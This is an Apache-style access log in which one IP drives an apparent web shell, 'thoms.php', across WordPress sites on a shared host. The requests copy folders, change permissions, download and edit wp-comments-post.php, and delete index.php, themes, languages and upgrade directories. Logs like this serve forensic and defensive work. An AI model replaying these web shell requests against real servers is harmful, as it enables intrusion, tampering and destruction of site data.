45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F HTTP/1.1" 200 6366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2F HTTP/1.1" 200 8346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:42 -0400] "GET /bossini.com.tw/bridge-archive/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbossini.com.tw%2Fbridge-archive%2F&option=folder HTTP/1.1" 200 6371 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bossini.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=broadweb.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bestzyx.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bfl.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=big-wife.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bogroup.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=booking-wise2.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=wp-content-20260912023544 HTTP/1.1" 200 11385 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=ba-guo.com.tw HTTP/1.1" 200 11372 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bioway88.com.tw HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bft.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=wp-content HTTP/1.1" 200 11418 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22162 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22142 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=upgrade HTTP/1.1" 200 11381 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=betcity.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=cgi-bin HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22114 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=besth2o.com.tw HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11420 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bodbooks.com.tw HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fcgi-bin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17323 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22102 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11438 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&p= HTTP/1.1" 200 12287 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11866 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Findex.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 16364 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=bossini.com.tw HTTP/1.1" 200 12787 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17682 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Findex.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?chmod=languages&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11505 "http://163.245.207.76:443/thoms.php?chmod=languages&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /bossini.com.tw/wp-content/mu-plugins/ HTTP/1.1" 200 799 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /bossini.com.tw/wp-content/plugins/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content%2Fthemes&p= HTTP/1.1" 200 12332 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content%2Fthemes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:45 -0400] "GET /thoms.php?dl=index.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13745 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?chmod=mu-plugins&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=mu-plugins&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content%2Fthemes HTTP/1.1" 200 13421 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content%2Fuploads HTTP/1.1" 200 12787 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-content%2Fuploads" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content&settings=1 HTTP/1.1" 200 11914 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content&view=index.php HTTP/1.1" 200 11854 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-content&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /bossini.com.tw/wp-content/themes/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?del=index.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13735 "http://163.245.207.76:443/thoms.php?del=index.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content%2Ffonts HTTP/1.1" 200 13490 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-content%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?chmod=plugins&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=plugins&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /bossini.com.tw/wp-content/fonts/ HTTP/1.1" 200 954 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /bossini.com.tw/wp-content/languages/ HTTP/1.1" 200 4149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /bossini.com.tw/wp-content/uploads/ HTTP/1.1" 200 845 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?del=languages&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13743 "http://163.245.207.76:443/thoms.php?del=languages&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content%2Fmu-plugins&p= HTTP/1.1" 200 12316 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content%2Fmu-plugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content%2Ffonts&p= HTTP/1.1" 200 12337 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content%2Ffonts&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content%2Fplugins HTTP/1.1" 200 13129 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-content%2Fplugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /thoms.php?chmod=themes&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=themes&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:46 -0400] "GET /bossini.com.tw/wp-content/index.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?del=upgrade&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13745 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?chmod=fonts&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=fonts&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?del=themes&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13743 "http://163.245.207.76:443/thoms.php?del=themes&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
